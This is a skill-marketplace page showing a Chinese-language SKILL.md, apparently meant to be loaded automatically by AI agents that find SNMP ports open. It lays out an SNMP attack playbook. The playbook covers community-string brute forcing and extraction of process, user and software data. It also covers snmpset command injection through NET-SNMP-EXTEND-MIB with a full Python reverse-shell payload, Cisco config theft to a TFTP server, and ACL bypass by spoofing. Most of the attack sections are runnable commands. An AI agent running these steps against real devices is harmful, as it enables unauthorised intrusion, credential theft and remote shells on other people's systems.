Skip to main content

snmp-pentesting

SNMP 服务(161/162 端口)渗透测试方法论。涵盖 SNMP 服务发现与版本识别、社区字符串枚举与爆破、MIB 信息提取(系统信息/网络接口/进程/软件/用户)、SNMP 写入利用(配置修改/命令执行)、已知漏洞利用。 当 Agent 扫描发现 161/162 UDP 端口开放、需要通过 SNMP 收集目标信息、枚举网络设备配置、或利用 SNMP 写权限时,触发此 Skill。

来源信息

仓库
wgpsec/AboutSecurity
最近来源活动
2026年5月21日 13:05
检测到的 SKILL.md 语言
中文
星标
1,760
分支
243

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

文件资源管理器
2 个文件

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
snmp-pentesting
description
SNMP 服务(161/162 端口)渗透测试方法论。涵盖 SNMP 服务发现与版本识别、社区字符串枚举与爆破、MIB 信息提取(系统信息/网络接口/进程/软件/用户)、SNMP 写入利用(配置修改/命令执行)、已知漏洞利用。 当 Agent 扫描发现 161/162 UDP 端口开放、需要通过 SNMP 收集目标信息、枚举网络设备配置、或利用 SNMP 写权限时,触发此 Skill。
metadata
{"tags":["snmp","161端口","162端口","社区字符串","mib","snmpwalk","onesixtyone"],"category":"exploit/network-service"}
# SNMP 渗透测试方法论 (161/162 UDP) ## 深入参考 - SNMP 枚举与利用技术大全(OID 表 / 社区字符串爆破 / Cisco 配置提取 / RCE) -> 读 [references/snmp-techniques.md](references/snmp-techniques.md) --- ## 整体决策树 ``` 发现 161/162 UDP 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ 确认 SNMP 服务存在及版本 (v1 / v2c / v3) │ ├─ 识别设备类型 (路由器/交换机/打印机/服务器/IoT) │ └─ 判断 SNMP 版本 │ ├─ v1/v2c -> 社区字符串认证,明文传输,进入 Phase 2 爆破 │ └─ v3 -> 用户名+密码认证,加密传输,尝试字典攻击 ├─ Phase 2: 社区字符串枚举 │ ├─ 尝试默认字符串 (public / private / community) │ │ ├─ 有响应 -> 记录有效字符串及权限级别 (RO/RW) │ │ └─ 无响应 -> 字典爆破 │ ├─ 字典爆破 (onesixtyone / hydra / nmap snmp-brute) │ └─ 判断权限 │ ├─ 只读 (RO) -> 进入 Phase 3 信息提取 │ └─ 读写 (RW) -> 标记用于 Phase 4 写入利用 ├─ Phase 3: MIB 信息提取 │ ├─ 系统基本信息 (sysDescr / sysName / sysLocation / uptime) │ ├─ 网络接口与 IP 地址 (含 IPv6) │ ├─ 路由表 │ ├─ 运行进程 (可能含命令行参数中的密码) │ ├─ 已安装软件 │ ├─ 用户账户 │ ├─ TCP/UDP 监听端口 │ └─ Cisco 设备 -> 提取 running-config (需 RW 权限) ├─ Phase 4: SNMP 写入利用 │ ├─ NET-SNMP-EXTEND-MIB 命令注入 (Linux) │ │ ├─ 注入任意命令执行 │ │ └─ 反弹 Shell │ ├─ Cisco 配置修改 (CISCO-CONFIG-COPY-MIB) │ │ ├─ 下载 running-config 到 TFTP │ │ └─ 上传修改后的配置 │ └─ SNMP 值修改 (NetScanTools / snmpset) └─ Phase 5: 已知漏洞 ├─ Cisco SNMP DoS (CVE-2025-20174) ├─ Cisco ACL 绕过 (CVE-2024-20373) └─ 设备特定漏洞 -> searchsploit / CVE 数据库 ``` --- ## Phase 1: 服务发现与版本识别 ### 1.1 端口扫描与服务探测 ```bash # UDP 端口扫描 — 发现 SNMP 服务 nmap -sU -p 161,162,10161,10162 <IP> # 服务版本探测 + 默认脚本 nmap -sU -sV -sC -p 161 <IP> # SNMP 专项 Nmap 脚本 (排除爆破) nmap -sU --script "snmp* and not snmp-brute" -p 161 <IP> ``` ### 1.2 SNMP 版本识别 ``` 识别 SNMP 版本 ├─ snmp-check <IP> -p 161 │ └─ 输出中显示支持的 SNMP 版本 ├─ Nmap 脚本输出中的 version 字段 ├─ Metasploit: auxiliary/scanner/snmp/snmp_enum │ └─ 自动检测版本并枚举信息 └─ 手动测试 ├─ snmpwalk -v1 -c public <IP> # 测试 v1 ├─ snmpwalk -v2c -c public <IP> # 测试 v2c └─ snmpwalk -v3 -l noAuthNoPriv -u <user> <IP> # 测试 v3 ``` **关键判断**: - v1/v2c -> 社区字符串明文传输,可嗅探,易爆破 - v3 noAuthNoPriv -> 无认证无加密,等同 v1/v2c - v3 authNoPriv -> 有认证无加密,可字典攻击 - v3 authPriv -> 有认证有加密,最难攻击 --- ## Phase 2: 社区字符串枚举 ### 2.1 默认字符串测试 ```bash # 快速测试常见默认字符串 snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.1.1.0 snmpwalk -v2c -c private <IP> 1.3.6.1.2.1.1.1.0 snmpwalk -v2c -c community <IP> 1.3.6.1.2.1.1.1.0 ``` **判断逻辑**: v1/v2c 中,使用错误社区字符串时服务器不响应;有响应则说明字符串有效。 ### 2.2 字典爆破 ``` 社区字符串爆破方法选择 ├─ 快速批量扫描 (推荐首选) │ └─ onesixtyone -c <wordlist> -i <targets_file> │ └─ 字典: /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt ├─ Nmap 脚本 │ └─ nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=<wordlist> <IP> ├─ Hydra │ └─ hydra -P <wordlist> -v <IP> snmp └─ Metasploit └─ auxiliary/scanner/snmp/snmp_login ``` ```bash # onesixtyone — 高速社区字符串爆破 onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP> -w 100 # Hydra hydra -P /usr/share/seclists/Discovery/SNMP/snmp.txt -v <IP> snmp # Nmap nmap -sU -p 161 --script snmp-brute <IP> ``` ### 2.3 SNMPv3 用户枚举与认证攻击 ```bash # 枚举 v3 用户名 nmap -sU -p 161 --script snmp-win32-users <IP> # v3 字典攻击 (Metasploit) # auxiliary/scanner/snmp/snmp_login 支持 v3 认证模式 ``` ### 2.4 权限判断 — RO vs RW ```bash # 尝试写入测试 (向 sysLocation 写值) snmpset -v2c -c <community> <IP> 1.3.6.1.2.1.1.6.0 s "test" ``` **响应判断**: - 写入成功 -> RW 权限,标记进入 Phase 4 - `noSuchName` / `readOnly` 错误 -> RO 权限 - 无响应 -> 字符串无效或被 ACL 拦截 --- ## Phase 3: MIB 信息提取 ### 3.1 环境准备 ```bash # 安装 MIB 解析库 (将 OID 数字转为可读名称) apt-get install snmp-mibs-downloader download-mibs # 注释 /etc/snmp/snmp.conf 中的 "mibs :" 行 ``` ### 3.2 全量信息枚举 ```bash # snmpbulkwalk — 高效批量遍历 (v2c) snmpbulkwalk -c <community> -v2c <IP> . # snmpwalk — 完整遍历 snmpwalk -v2c -c <community> <IP> .1 # snmp-check — 一站式枚举 (自动分类输出) snmp-check <IP> -p 161 -c <community> # Nmap 枚举脚本 nmap -sU --script "snmp* and not snmp-brute" <IP> -p 161 # 扩展对象查询 (NET-SNMP 扩展命令输出) snmpwalk -v2c -c <community> <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` ### 3.3 定向 OID 查询 — Windows 系统 ``` Windows 关键 OID ├─ 系统进程数 1.3.6.1.2.1.25.1.6.0 ├─ 运行程序名称 1.3.6.1.2.1.25.4.2.1.2 ├─ 进程路径 1.3.6.1.2.1.25.4.2.1.4 ├─ 存储单元 1.3.6.1.2.1.25.2.3.1.4 ├─ 已安装软件 1.3.6.1.2.1.25.6.3.1.2 ├─ 用户账户 1.3.6.1.4.1.77.1.2.25 └─ TCP 本地端口 1.3.6.1.2.1.6.13.1.3 ``` ```bash # 枚举运行进程 (可能含命令行中的密码) snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.4.2.1.2 # 枚举用户账户 snmpwalk -v2c -c <community> <IP> 1.3.6.1.4.1.77.1.2.25 # 枚举已安装软件 snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.6.3.1.2 # 枚举网络接口 (含 IPv6) snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.4.34.1.3 # 枚举 TCP 监听端口 snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.6.13.1.3 ``` ### 3.4 大规模 SNMP 数据采集与分析 ```bash # braa — 高速批量 SNMP 查询 (自带 SNMP 栈,无依赖) braa <community>@<IP>:.1.3.6.* ``` **数据分析 — 从批量 SNMP 输出中提取关键信息**: ```bash # 识别设备类型 (sysDescr) grep ".1.3.6.1.2.1.1.1.0" *.snmp # 查找私有社区字符串 (trap 数据中) grep -i "trap" *.snmp # 查找登录失败记录 (可能含误输为用户名的密码) grep -i "login\|fail" *.snmp # 提取邮箱地址 grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` ### 3.5 Cisco 设备专项枚举 ``` Cisco 设备信息提取 ├─ Metasploit snmp_enum │ └─ use auxiliary/scanner/snmp/snmp_enum │ 设备清单 / VLAN / 接口描述 / ARP 表 ├─ running-config 提取 (需 RW 社区字符串) │ ├─ Nmap: nmap -sU -p161 --script snmp-ios-config --script-args creds.snmp=<rw_community> <IP> │ └─ Metasploit: auxiliary/scanner/snmp/cisco_config_tftp └─ 手动 snmpset 配置拷贝 -> 读 references/snmp-techniques.md #Cisco配置提取 ``` --- ## Phase 4: SNMP 写入利用 ### 4.1 攻击路径选择 ``` 拥有 RW 社区字符串 ├─ Linux 目标 (Net-SNMP) │ ├─ NET-SNMP-EXTEND-MIB 命令注入 │ │ ├─ 注入任意命令 │ │ └─ 反弹 Shell │ └─ 修改 SNMP 配置值 ├─ Cisco / 网络设备 │ ├─ CISCO-CONFIG-COPY-MIB 配置提取 │ │ ├─ 下载 running-config 到 TFTP │ │ ├─ 分析凭据 (enable secret / username) │ │ └─ 上传修改后的配置 (慎用) │ └─ 修改路由表 / ACL (极高风险) └─ Windows 目标 └─ 可修改部分 OID 值,影响有限 └─ 侧重 Phase 3 的信息泄露利用 ``` ### 4.2 Linux — NET-SNMP-EXTEND-MIB 命令执行 ```bash # 注入自定义命令 (通过 nsExtendObjects 表) snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rw_community> <IP> \ 'nsExtendStatus."evilcommand"' = createAndGo \ 'nsExtendCommand."evilcommand"' = /bin/echo \ 'nsExtendArgs."evilcommand"' = 'hello world' # 触发执行 — snmpwalk 读取时命令被执行 (run-on-read) snmpwalk -v2c -c <rw_community> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects ``` ### 4.3 Linux — SNMP 反弹 Shell ``` 获取 Shell 的两种方式 ├─ snmp-shell 工具 (推荐) │ └─ git clone https://github.com/mxrch/snmp-shell │ └─ python3 shell.py <IP> -c <rw_community> └─ 手动 reverse shell └─ 通过 snmpset 注入 Python/Bash 反弹 shell 命令 ``` ```bash # 环境准备 sudo apt install snmp snmp-mibs-downloader rlwrap -y git clone https://github.com/mxrch/snmp-shell cd snmp-shell && sudo python3 -m pip install -r requirements.txt # 手动注入 Python 反弹 shell snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rw_community> <IP> \ 'nsExtendStatus."revshell"' = createAndGo \ 'nsExtendCommand."revshell"' = /usr/bin/python3 \ 'nsExtendArgs."revshell"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"<LHOST>\",<LPORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' # 触发执行 snmpwalk -v2c -c <rw_community> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects ``` ### 4.4 Cisco — 配置提取与修改 ```bash # Nmap 自动提取 running-config nmap -sU -p161 --script snmp-ios-config \ --script-args creds.snmp=<rw_community> <IP> # 手动 snmpset — 将 running-config 拷贝到 TFTP snmpset -v2c -c <rw_community> <IP> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a <TFTP_SERVER_IP> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s "backup.cfg" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # Metasploit # use auxiliary/scanner/snmp/cisco_config_tftp ``` **注意**: snmpset 的行标识符 (1234) 为一次性使用,5 分钟内重复使用会返回 `inconsistentValue` 错误。 --- ## Phase 5: 已知漏洞 ### 5.1 漏洞检测决策树 ``` 设备类型已知 ├─ Cisco IOS/IOS-XE │ ├─ CVE-2025-20174 — SNMP 子系统 DoS (认证后) │ │ └─ 特制 SNMP 报文导致设备重载 │ ├─ CVE-2024-20373 — 扩展 ACL 处理缺陷 │ │ └─ 扩展命名 ACL 对 SNMP 访问控制失效 │ │ └─ 已知社区字符串/v3 用户可绕过 ACL 限制 │ └─ SNMPv3 地址限制绕过 │ └─ 有效 v3 用户可从受限地址查询 ├─ 通用 Net-SNMP (Linux) │ ├─ RW 社区字符串 -> Phase 4 命令注入 │ └─ 检查 snmpd.conf 中 rwuser noauth / rwcommunity 配置 ├─ 通用搜索 │ ├─ searchsploit snmp │ ├─ searchsploit <device_vendor> snmp │ └─ nmap -sU --script "snmp-vuln*" -p 161 <IP> └─ 默认配置审计 └─ 检查配置文件中的危险设置 ├─ rwuser noauth — 无认证即可完全访问 OID 树 ├─ rwcommunity / rwcommunity6 — 任意来源可读写 └─ 弱社区字符串 (public/private/community) ``` ### 5.2 SNMP 配置文件审计 获取目标访问权限后,检查以下配置文件: - `snmp.conf` - `snmpd.conf` - `snmp-config.xml` ``` 危险配置项 ├─ rwuser noauth — 完全无认证访问 ├─ rwcommunity <弱字符串> — 可被爆破的读写权限 ├─ rwcommunity6 — IPv6 读写权限 ├─ agentAddress udp:0.0.0.0:161 — 监听所有接口 └─ 无 ACL 限制 — 任意 IP 可查询 ``` ### 5.3 SNMP 欺骗 ``` 当存在 IP ACL 限制 SNMP 访问时 ├─ SNMP 使用 UDP 协议,可进行源 IP 欺骗 ├─ 伪造允许的源 IP 发送 SNMP 请求 └─ 嗅探响应包获取数据 └─ 需要在网络路径上能够捕获返回流量 ``` --- ## SNMP 配置文件位置 | 平台 | 配置文件路径 | |------|-------------| | Linux (Net-SNMP) | `/etc/snmp/snmpd.conf` | | Linux (Net-SNMP) | `/etc/snmp/snmp.conf` | | Cisco IOS | `running-config` (通过 SNMP/CLI 获取) | | Windows | 注册表 `HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters` | | 通用 | `snmp-config.xml` | --- ## Metasploit 常用模块速查 | 模块 | 用途 | |------|------| | `auxiliary/scanner/snmp/snmp_login` | 社区字符串爆破 (v1/v2c/v3) | | `auxiliary/scanner/snmp/snmp_enum` | SNMP 信息枚举 | | `auxiliary/scanner/snmp/snmp_enumusers` | 用户枚举 | | `auxiliary/scanner/snmp/snmp_enumshares` | 共享枚举 | | `auxiliary/scanner/snmp/cisco_config_tftp` | Cisco 配置下载 | | `auxiliary/scanner/snmp/cisco_upload_file` | Cisco 文件上传 |
在 GitHub 查看